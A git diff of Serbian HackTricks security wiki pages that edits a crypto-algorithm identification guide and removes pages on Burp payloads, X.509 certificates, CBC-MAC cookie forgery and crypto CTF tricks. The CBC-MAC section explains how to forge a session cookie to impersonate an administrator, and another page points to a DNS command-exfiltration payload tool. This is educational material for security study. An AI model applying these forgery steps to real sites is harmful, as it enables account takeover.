||||
@ -501,3 +503,6 @@ heap-memory-functions/heap-functions-security-checks.md
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,19 +0,0 @@
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
# Osnovni Payloadi
|
||||
|
||||
- **Jednostavna lista:** Samo lista koja sadrži jedan unos u svakoj liniji
|
||||
- **Runtime fajl:** Lista koja se čita u runtime-u (nije učitana u memoriju). Za podršku velikim listama.
|
||||
- **Izmena slučaja:** Primeni neke promene na listu stringova (Bez promene, na mala slova, na VELIKA slova, na pravilno ime - Prvo veliko slovo, a ostalo na mala slova-, na Pravilno ime - Prvo veliko slovo, a ostalo ostaje isto-).
|
||||
- **Brojevi:** Generiši brojeve od X do Y koristeći Z korak ili nasumično.
|
||||
- **Brute Forcer:** Skup karaktera, minimalna i maksimalna dužina.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload za izvršavanje komandi i preuzimanje izlaza putem DNS zahteva ka burpcollab.
|
||||
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,12 +1,10 @@
|
||||
# Kriptografski/Kompresioni Algoritmi
|
||||
|
||||
## Kriptografski/Kompresioni Algoritmi
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Identifikacija Algoritama
|
||||
|
||||
Ako završite u kodu **koristeći pomeranja udesno i ulevo, XOR-ove i nekoliko aritmetičkih operacija**, veoma je verovatno da je to implementacija **kriptografskog algoritma**. Ovde će biti prikazani neki načini da se **identifikuje algoritam koji se koristi bez potrebe da se obrne svaki korak**.
|
||||
Ako završite u kodu **koristeći pomeranja udesno i ulevo, xore i nekoliko aritmetičkih operacija**, veoma je verovatno da je to implementacija **kriptografskog algoritma**. Ovde će biti prikazani neki načini da se **identifikuje algoritam koji se koristi bez potrebe da se obrne svaki korak**.
|
||||
|
||||
### API funkcije
|
||||
|
||||
@ -24,7 +22,7 @@ Kompresuje i dekompresuje dati bafer podataka.
|
||||
|
||||
**CryptAcquireContext**
|
||||
|
||||
Iz [dokumentacije](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Funkcija **CryptAcquireContext** se koristi za sticanje rukohvata za određeni kontejner ključeva unutar određenog kriptografskog servisnog provajdera (CSP). **Ovaj vraćeni rukohvat se koristi u pozivima funkcija CryptoAPI** koje koriste odabrani CSP.
|
||||
Iz [dokumentacije](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Funkcija **CryptAcquireContext** se koristi za sticanje rukovanja određenim kontejnerom ključeva unutar određenog provajdera kriptografskih usluga (CSP). **Ovo vraćeno rukovanje se koristi u pozivima funkcija CryptoAPI** koje koriste odabrani CSP.
|
||||
|
||||
**CryptCreateHash**
|
||||
|
||||
@ -35,9 +33,9 @@ Inicira heširanje toka podataka. Ako se ova funkcija koristi, možete saznati k
|
||||
\
|
||||
Proverite ovde tabelu mogućih algoritama i njihovih dodeljenih vrednosti: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
|
||||
|
||||
### Konstantne u kodu
|
||||
### Konstantne vrednosti koda
|
||||
|
||||
Ponekad je zaista lako identifikovati algoritam zahvaljujući činjenici da mora koristiti posebnu i jedinstvenu vrednost.
|
||||
Ponekad je veoma lako identifikovati algoritam zahvaljujući činjenici da mora koristiti posebnu i jedinstvenu vrednost.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -45,7 +43,7 @@ Ako pretražujete prvu konstantu na Google-u, ovo je ono što dobijate:
|
||||
|
||||
.png>)
|
||||
|
||||
Stoga, možete pretpostaviti da je dekompilovana funkcija **sha256 kalkulator.**\
|
||||
Stoga, možete pretpostaviti da je dekompilirana funkcija **sha256 kalkulator.**\
|
||||
Možete pretražiti bilo koju od drugih konstanti i dobićete (verovatno) isti rezultat.
|
||||
|
||||
### informacija o podacima
|
||||
@ -61,14 +59,14 @@ U ovom slučaju, ako tražite **0xA56363C6**, možete pronaći da je povezan sa
|
||||
|
||||
### Karakteristike
|
||||
|
||||
Sastoji se od 3 glavne komponente:
|
||||
Sastoji se od 3 glavna dela:
|
||||
|
||||
- **Faza inicijalizacije/**: Kreira **tabelu vrednosti od 0x00 do 0xFF** (ukupno 256 bajtova, 0x100). Ova tabela se obično naziva **Substituciona Kutija** (ili SBox).
|
||||
- **Faza premeštanja**: **Prolazi kroz tabelu** kreiranu ranije (petlja od 0x100 iteracija, ponovo) modifikujući svaku vrednost sa **polu-nasumičnim** bajtovima. Da bi se kreirali ovi polu-nasumični bajtovi, koristi se RC4 **ključ**. RC4 **ključevi** mogu biti **između 1 i 256 bajtova dužine**, međutim obično se preporučuje da budu iznad 5 bajtova. Obično, RC4 ključevi su 16 bajtova dužine.
|
||||
- **XOR faza**: Na kraju, običan tekst ili šifrovani tekst se **XOR-uje sa vrednostima kreiranim ranije**. Funkcija za enkripciju i dekripciju je ista. Za ovo, **proći će se kroz kreiranih 256 bajtova** onoliko puta koliko je potrebno. Ovo se obično prepoznaje u dekompilovanom kodu sa **%256 (mod 256)**.
|
||||
- **Faza premeštanja**: **Prolazi kroz tabelu** kreiranu pre (petlja od 0x100 iteracija, ponovo) modifikujući svaku vrednost sa **polu-namernim** bajtovima. Da bi se kreirali ovi polu-namerni bajtovi, koristi se **ključ RC4**. **Ključevi RC4** mogu biti **između 1 i 256 bajtova dužine**, međutim obično se preporučuje da budu iznad 5 bajtova. Obično, ključevi RC4 su 16 bajtova dužine.
|
||||
- **XOR faza**: Na kraju, običan tekst ili šifrovani tekst se **XOR-uje sa vrednostima kreiranim pre**. Funkcija za enkripciju i dekripciju je ista. Za ovo, **proći će se kroz kreiranih 256 bajtova** onoliko puta koliko je potrebno. Ovo se obično prepoznaje u dekompiliranom kodu sa **%256 (mod 256)**.
|
||||
|
||||
> [!NOTE]
|
||||
> **Da biste identifikovali RC4 u disasembleru/dekompilovanom kodu, možete proveriti 2 petlje veličine 0x100 (uz korišćenje ključa) i zatim XOR ulaznih podataka sa 256 vrednosti kreiranih ranije u 2 petlje, verovatno koristeći %256 (mod 256)**
|
||||
> [!TIP]
|
||||
> **Da biste identifikovali RC4 u disasembleru/dekompiliranom kodu, možete proveriti 2 petlje veličine 0x100 (uz korišćenje ključa) i zatim XOR ulaznih podataka sa 256 vrednosti kreiranih pre u 2 petlje verovatno koristeći %256 (mod 256)**
|
||||
|
||||
### **Faza inicijalizacije/Substituciona Kutija:** (Obratite pažnju na broj 256 korišćen kao brojač i kako se 0 piše na svakom mestu od 256 karaktera)
|
||||
|
||||
@ -78,7 +76,7 @@ Sastoji se od 3 glavne komponente:
|
||||
|
||||
.png>)
|
||||
|
||||
### **XOR Faza:**
|
||||
### **XOR faza:**
|
||||
|
||||
.png>)
|
||||
|
||||
@ -103,12 +101,12 @@ Sastoji se od 3 glavne komponente:
|
||||
|
||||
### Identifikacija
|
||||
|
||||
Na sledećoj slici obratite pažnju na to kako se konstanta **0x9E3779B9** koristi (napomena da se ova konstanta takođe koristi i od drugih kripto algoritama kao što je **TEA** -Tiny Encryption Algorithm).\
|
||||
Na sledećoj slici obratite pažnju na to kako se konstanta **0x9E3779B9** koristi (napomena da se ova konstanta takođe koristi od strane drugih kripto algoritama kao što je **TEA** -Tiny Encryption Algorithm).\
|
||||
Takođe obratite pažnju na **veličinu petlje** (**132**) i **broj XOR operacija** u **disasembleru** i u **primeru koda**:
|
||||
|
||||
.png>)
|
||||
|
||||
Kao što je ranije pomenuto, ovaj kod može biti vizualizovan unutar bilo kog dekompilatora kao **veoma duga funkcija** jer **nema skakanja** unutar nje. Dekomplovani kod može izgledati ovako:
|
||||
Kao što je ranije pomenuto, ovaj kod može biti vizualizovan unutar bilo kog dekompilatora kao **veoma duga funkcija** jer **nema skakanja** unutar nje. Dekomplirani kod može izgledati ovako:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -127,7 +125,7 @@ Stoga, moguće je identifikovati ovaj algoritam proverom **magične brojke** i *
|
||||
.png>)
|
||||
|
||||
- U liniji 11 (levo) postoji `+7) >> 3` što je isto kao u liniji 35 (desno): `+7) / 8`
|
||||
- Linija 12 (levo) proverava da li je `modulus_len < 0x040` a u liniji 36 (desno) proverava da li je `inputLen+11 > modulusLen`
|
||||
- Linija 12 (levo) proverava da li je `modulus_len < 0x040` i u liniji 36 (desno) proverava da li je `inputLen+11 > modulusLen`
|
||||
|
||||
## MD5 & SHA (heš)
|
||||
|
||||
@ -140,11 +138,11 @@ Stoga, moguće je identifikovati ovaj algoritam proverom **magične brojke** i *
|
||||
|
||||
**Init**
|
||||
|
||||
Možete identifikovati oboje proverom konstanti. Napomena da sha_init ima 1 konstantu koju MD5 nema:
|
||||
Možete identifikovati oba proverom konstanti. Napomena da sha_init ima 1 konstantu koju MD5 nema:
|
||||
|
||||
.png>)
|
||||
|
||||
**MD5 Transformacija**
|
||||
**MD5 Transform**
|
||||
|
||||
Obratite pažnju na korišćenje više konstanti
|
||||
|
||||
@ -170,7 +168,7 @@ CRC heš algoritam izgleda ovako:
|
||||
### Karakteristike
|
||||
|
||||
- Nema prepoznatljivih konstanti
|
||||
- Možete pokušati da napišete algoritam u Python-u i pretražite slične stvari na mreži
|
||||
- Možete pokušati da napišete algoritam u python-u i pretražujete slične stvari na mreži
|
||||
|
||||
### Identifikacija
|
||||
|
||||
|
@ -1,157 +0,0 @@
|
||||
# Sertifikati
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je Sertifikat
|
||||
|
||||
**Javni ključ sertifikat** je digitalni ID koji se koristi u kriptografiji da dokaže da neko poseduje javni ključ. Uključuje detalje o ključevi, identitet vlasnika (subjekt) i digitalni potpis od poverene vlasti (izdavača). Ako softver veruje izdavaču i potpis je validan, sigurna komunikacija sa vlasnikom ključa je moguća.
|
||||
|
||||
Sertifikati se uglavnom izdaju od strane [sertifikacionih tela](https://en.wikipedia.org/wiki/Certificate_authority) (CA) u [infrastrukturi javnog ključa](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) postavci. Druga metoda je [mreža poverenja](https://en.wikipedia.org/wiki/Web_of_trust), gde korisnici direktno verifikuju ključeve jedni drugih. Uobičajeni format za sertifikate je [X.509](https://en.wikipedia.org/wiki/X.509), koji se može prilagoditi specifičnim potrebama kako je navedeno u RFC 5280.
|
||||
|
||||
## x509 Uobičajena Polja
|
||||
|
||||
### **Uobičajena Polja u x509 Sertifikatima**
|
||||
|
||||
U x509 sertifikatima, nekoliko **polja** igra ključne uloge u obezbeđivanju validnosti i sigurnosti sertifikata. Evo pregleda ovih polja:
|
||||
|
||||
- **Broj Verzije** označava verziju x509 formata.
|
||||
- **Serijski Broj** jedinstveno identifikuje sertifikat unutar sistema Sertifikacione Vlasti (CA), uglavnom za praćenje opoziva.
|
||||
- **Subjekt** polje predstavlja vlasnika sertifikata, što može biti mašina, pojedinac ili organizacija. Uključuje detaljnu identifikaciju kao što su:
|
||||
- **Uobičajeno Ime (CN)**: Domeni pokriveni sertifikatom.
|
||||
- **Zemlja (C)**, **Lokacija (L)**, **Država ili Pokrajina (ST, S, ili P)**, **Organizacija (O)**, i **Organizaciona Jedinica (OU)** pružaju geografske i organizacione detalje.
|
||||
- **Istaknuto Ime (DN)** obuhvata punu identifikaciju subjekta.
|
||||
- **Izdavač** detaljno opisuje ko je verifikovao i potpisao sertifikat, uključujući slična podpolja kao Subjekt za CA.
|
||||
- **Period Validnosti** označen je **Ne Pre** i **Ne Posle** vremenskim oznakama, osiguravajući da sertifikat nije korišćen pre ili posle određenog datuma.
|
||||
- **Javni Ključ** sekcija, ključna za sigurnost sertifikata, specificira algoritam, veličinu i druge tehničke detalje javnog ključa.
|
||||
- **x509v3 ekstenzije** poboljšavaju funkcionalnost sertifikata, specificirajući **Korišćenje Ključa**, **Prošireno Korišćenje Ključa**, **Alternativno Ime Subjekta**, i druge osobine za fino podešavanje primene sertifikata.
|
||||
|
||||
#### **Korišćenje Ključa i Ekstenzije**
|
||||
|
||||
- **Korišćenje Ključa** identifikuje kriptografske primene javnog ključa, kao što su digitalni potpis ili enkripcija ključa.
|
||||
- **Prošireno Korišćenje Ključa** dodatno sužava slučajeve korišćenja sertifikata, npr. za TLS autentifikaciju servera.
|
||||
- **Alternativno Ime Subjekta** i **Osnovna Ograničenja** definišu dodatne nazive hostova pokrivene sertifikatom i da li je to CA ili sertifikat krajnjeg entiteta, respektivno.
|
||||
- Identifikatori kao što su **Identifikator Ključa Subjekta** i **Identifikator Ključa Vlasti** osiguravaju jedinstvenost i praćenje ključeva.
|
||||
- **Pristup Informacijama o Vlasti** i **Tačke Distribucije CRL** pružaju puteve za verifikaciju izdavača CA i proveru statusa opoziva sertifikata.
|
||||
- **CT Precertifikat SCTs** nude transparente dnevnike, što je ključno za javno poverenje u sertifikat.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
# Load an x509 certificate (assuming cert.pem is a certificate file)
|
||||
with open("cert.pem", "rb") as file:
|
||||
cert_data = file.read()
|
||||
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
|
||||
|
||||
# Accessing fields
|
||||
serial_number = certificate.serial_number
|
||||
issuer = certificate.issuer
|
||||
subject = certificate.subject
|
||||
public_key = certificate.public_key()
|
||||
|
||||
print(f"Serial Number: {serial_number}")
|
||||
print(f"Issuer: {issuer}")
|
||||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Razlika između OCSP i CRL distribucionih tačaka**
|
||||
|
||||
**OCSP** (**RFC 2560**) uključuje klijenta i odgovarača koji rade zajedno kako bi proverili da li je digitalni javni ključ sertifikat opozvan, bez potrebe za preuzimanjem celog **CRL**. Ova metoda je efikasnija od tradicionalnog **CRL**, koji pruža listu opozvanih serijskih brojeva sertifikata, ali zahteva preuzimanje potencijalno velikog fajla. CRL može sadržati do 512 unosa. Više detalja je dostupno [ovde](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
|
||||
|
||||
### **Šta je transparentnost sertifikata**
|
||||
|
||||
Transparentnost sertifikata pomaže u borbi protiv pretnji vezanih za sertifikate osiguravajući da je izdavanje i postojanje SSL sertifikata vidljivo vlasnicima domena, CA i korisnicima. Njeni ciljevi su:
|
||||
|
||||
- Sprečavanje CA da izdaju SSL sertifikate za domen bez znanja vlasnika domena.
|
||||
- Uspostavljanje otvorenog sistema revizije za praćenje greškom ili zlonamerno izdatih sertifikata.
|
||||
- Zaštita korisnika od prevarantskih sertifikata.
|
||||
|
||||
#### **Sertifikati logovi**
|
||||
|
||||
Sertifikati logovi su javno revizibilni, samo za dodavanje zapisi sertifikata, koje održavaju mrežne usluge. Ovi logovi pružaju kriptografske dokaze za revizijske svrhe. Izdavaoci i javnost mogu podnositi sertifikate ovim logovima ili ih pretraživati radi verifikacije. Dok tačan broj log servera nije fiksiran, očekuje se da će biti manje od hiljadu globalno. Ove servere mogu nezavisno upravljati CA, ISP ili bilo koja zainteresovana strana.
|
||||
|
||||
#### **Upit**
|
||||
|
||||
Da biste istražili logove transparentnosti sertifikata za bilo koji domen, posetite [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Postoje različiti formati za skladištenje sertifikata, svaki sa svojim slučajevima upotrebe i kompatibilnošću. Ovaj pregled pokriva glavne formate i pruža smernice za konvertovanje između njih.
|
||||
|
||||
## **Formati**
|
||||
|
||||
### **PEM format**
|
||||
|
||||
- Najšire korišćen format za sertifikate.
|
||||
- Zahteva odvojene fajlove za sertifikate i privatne ključeve, kodirane u Base64 ASCII.
|
||||
- Uobičajene ekstenzije: .cer, .crt, .pem, .key.
|
||||
- Primarno koriste Apache i slični serveri.
|
||||
|
||||
### **DER format**
|
||||
|
||||
- Binarni format sertifikata.
|
||||
- Nedostaju "BEGIN/END CERTIFICATE" izjave koje se nalaze u PEM fajlovima.
|
||||
- Uobičajene ekstenzije: .cer, .der.
|
||||
- Često se koristi sa Java platformama.
|
||||
|
||||
### **P7B/PKCS#7 format**
|
||||
|
||||
- Skladišti se u Base64 ASCII, sa ekstenzijama .p7b ili .p7c.
|
||||
- Sadrži samo sertifikate i lance sertifikata, isključujući privatni ključ.
|
||||
- Podržava Microsoft Windows i Java Tomcat.
|
||||
|
||||
### **PFX/P12/PKCS#12 format**
|
||||
|
||||
- Binarni format koji enkapsulira server sertifikate, međusertifikate i privatne ključeve u jednom fajlu.
|
||||
- Ekstenzije: .pfx, .p12.
|
||||
- Uglavnom se koristi na Windows-u za uvoz i izvoz sertifikata.
|
||||
|
||||
### **Konvertovanje formata**
|
||||
|
||||
**PEM konverzije** su neophodne za kompatibilnost:
|
||||
|
||||
- **x509 to PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
- **PEM u DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
- **DER u PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
- **PEM u P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
- **PKCS7 u PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**PFX konverzije** su ključne za upravljanje sertifikatima na Windows-u:
|
||||
|
||||
- **PFX u PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
- **PFX to PKCS#8** uključuje dva koraka:
|
||||
1. Konvertujte PFX u PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Konvertujte PEM u PKCS8
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
- **P7B to PFX** takođe zahteva dve komande:
|
||||
1. Konvertujte P7B u CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Konvertujte CER i privatni ključ u PFX
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
---
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,55 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
# CBC
|
||||
|
||||
Ako je **kolačić** **samo** **korisničko ime** (ili je prva deo kolačića korisničko ime) i želite da se pretvarate da ste korisnik "**admin**". Tada možete kreirati korisničko ime **"bdmin"** i **bruteforce**-ovati **prvi bajt** kolačića.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Cipher block chaining message authentication code** (**CBC-MAC**) je metoda koja se koristi u kriptografiji. Funkcioniše tako što uzima poruku i šifruje je blok po blok, pri čemu je šifrovanje svakog bloka povezano sa prethodnim. Ovaj proces stvara **lanac blokova**, osiguravajući da će promena čak i jednog bita originalne poruke dovesti do nepredvidive promene u poslednjem bloku šifrovanih podataka. Da bi se izvršila ili obrnula takva promena, potrebna je šifrovana ključeva, čime se osigurava bezbednost.
|
||||
|
||||
Da bi se izračunao CBC-MAC poruke m, šifruje se m u CBC režimu sa nultim inicijalizacionim vektorom i čuva se poslednji blok. Sledeća slika prikazuje izračunavanje CBC-MAC-a poruke koja se sastoji od blokova koristeći tajni ključ k i blok šifru E:
|
||||
|
||||
.svg/570px-CBC-MAC_structure_(en).svg.png>)
|
||||
|
||||
# Ranljivost
|
||||
|
||||
Sa CBC-MAC obično je **IV koji se koristi 0**.\
|
||||
To je problem jer 2 poznate poruke (`m1` i `m2`) nezavisno će generisati 2 potpisa (`s1` i `s2`). Tako:
|
||||
|
||||
- `E(m1 XOR 0) = s1`
|
||||
- `E(m2 XOR 0) = s2`
|
||||
|
||||
Tada poruka sastavljena od m1 i m2 konkateniranih (m3) će generisati 2 potpisa (s31 i s32):
|
||||
|
||||
- `E(m1 XOR 0) = s31 = s1`
|
||||
- `E(m2 XOR s1) = s32`
|
||||
|
||||
**Što je moguće izračunati bez poznavanja ključa šifrovanja.**
|
||||
|
||||
Zamislite da šifrujete ime **Administrator** u **8 bajtnih** blokova:
|
||||
|
||||
- `Administ`
|
||||
- `rator\00\00\00`
|
||||
|
||||
Možete kreirati korisničko ime pod nazivom **Administ** (m1) i dobiti potpis (s1).\
|
||||
Zatim, možete kreirati korisničko ime koje je rezultat `rator\00\00\00 XOR s1`. Ovo će generisati `E(m2 XOR s1 XOR 0)` što je s32.\
|
||||
sada, možete koristiti s32 kao potpis punog imena **Administrator**.
|
||||
|
||||
### Sažetak
|
||||
|
||||
1. Dobijte potpis korisničkog imena **Administ** (m1) koji je s1
|
||||
2. Dobijte potpis korisničkog imena **rator\x00\x00\x00 XOR s1 XOR 0** je s32**.**
|
||||
3. Postavite kolačić na s32 i biće to validan kolačić za korisnika **Administrator**.
|
||||
|
||||
# Napad Kontrolisanjem IV
|
||||
|
||||
Ako možete kontrolisati korišćeni IV, napad bi mogao biti vrlo lak.\
|
||||
Ako je kolačić samo korisničko ime šifrovano, da biste se pretvarali da ste korisnik "**administrator**" možete kreirati korisnika "**Administrator**" i dobićete njegov kolačić.\
|
||||
Sada, ako možete kontrolisati IV, možete promeniti prvi bajt IV-a tako da **IV\[0] XOR "A" == IV'\[0] XOR "a"** i regenerisati kolačić za korisnika **Administrator.** Ovaj kolačić će biti validan za **pretvaranje** korisnika **administrator** sa inicijalnim **IV**.
|
||||
|
||||
## Reference
|
||||
|
||||
Više informacija na [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,271 +0,0 @@
|
||||
# Crypto CTFs Tricks
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Online Hashes DBs
|
||||
|
||||
- _**Google it**_
|
||||
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
|
||||
- [https://crackstation.net/](https://crackstation.net)
|
||||
- [https://md5decrypt.net/](https://md5decrypt.net)
|
||||
- [https://www.onlinehashcrack.com](https://www.onlinehashcrack.com)
|
||||
- [https://gpuhash.me/](https://gpuhash.me)
|
||||
- [https://hashes.org/search.php](https://hashes.org/search.php)
|
||||
- [https://www.cmd5.org/](https://www.cmd5.org)
|
||||
- [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
- [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Magic Autosolvers
|
||||
|
||||
- [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module)
|
||||
- [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
- [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Encoders
|
||||
|
||||
Većina kodiranih podataka može se dekodirati pomoću ovih 2 resursa:
|
||||
|
||||
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Substitution Autosolvers
|
||||
|
||||
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
- [https://quipqiup.com/](https://quipqiup.com) - Veoma dobro!
|
||||
|
||||
#### Caesar - ROTx Autosolvers
|
||||
|
||||
- [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### Atbash Cipher
|
||||
|
||||
- [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Base Encodings Autosolver
|
||||
|
||||
Proverite sve ove baze sa: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
- **Ascii85**
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base26** \[_A-Z_]
|
||||
- `BQEKGAHRJKHQMVZGKUXNT`
|
||||
- **Base32** \[_A-Z2-7=_]
|
||||
- `NBXWYYLDMFZGCY3PNRQQ====`
|
||||
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
|
||||
- `pbzsaamdcf3gna5xptoo====`
|
||||
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
|
||||
- `e1rqssc3d5t62svgejhh====`
|
||||
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
|
||||
- `D1QPRRB3C5S62RVFDHGG====`
|
||||
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
|
||||
- `D1NMOOB3C5P62ORFDHGG====`
|
||||
- **Base45** \[_0-9A-Z $%\*+-./:_]
|
||||
- `59DPVDGPCVKEUPCPVD`
|
||||
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
|
||||
- `2yJiRg5BF9gmsU6AC`
|
||||
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
|
||||
- `2YiHqF5bf9FLSt6ac`
|
||||
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
|
||||
- `pyJ5RgnBE9gm17awU`
|
||||
- **Base62** \[_0-9A-Za-z_]
|
||||
- `g2AextRZpBKRBzQ9`
|
||||
- **Base64** \[_A-Za-z0-9+/=_]
|
||||
- `aG9sYWNhcmFjb2xh`
|
||||
- **Base67** \[_A-Za-z0-9-_.!\~\_]
|
||||
- `NI9JKX0cSUdqhr!p`
|
||||
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `BQ%]q@psCd@rH0l`
|
||||
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `<~BQ%]q@psCd@rH0l~>`
|
||||
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
|
||||
- `Xm4y`V\_|Y(V{dF>\`
|
||||
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
|
||||
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
|
||||
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
|
||||
- `Xm4y|V{~Y+V}dF?`
|
||||
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
|
||||
- `frDg[*jNN!7&BQM`
|
||||
- **Base100** \[]
|
||||
- `👟👦👣👘👚👘👩👘👚👦👣👘`
|
||||
- **Base122** \[]
|
||||
- `4F ˂r0Xmvc`
|
||||
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
|
||||
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
|
||||
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
|
||||
- `DmPsv8J7qrlKEoY7`
|
||||
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
|
||||
- `kLD8iwKsigSalLJ5`
|
||||
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
|
||||
- `ayRiIo1gpO+uUc7g`
|
||||
- **ESAB46** \[]
|
||||
- `3sHcL2NR8WrT7mhR`
|
||||
- **MEGAN45** \[]
|
||||
- `kLD8igSXm2KZlwrX`
|
||||
- **TIGO3FX** \[]
|
||||
- `7AP9mIzdmltYmIP9mWXX`
|
||||
- **TRIPO5** \[]
|
||||
- `UE9vSbnBW6psVzxB`
|
||||
- **FERON74** \[]
|
||||
- `PbGkNudxCzaKBm0x`
|
||||
- **GILA7** \[]
|
||||
- `D+nkv8C1qIKMErY1`
|
||||
- **Citrix CTX1** \[]
|
||||
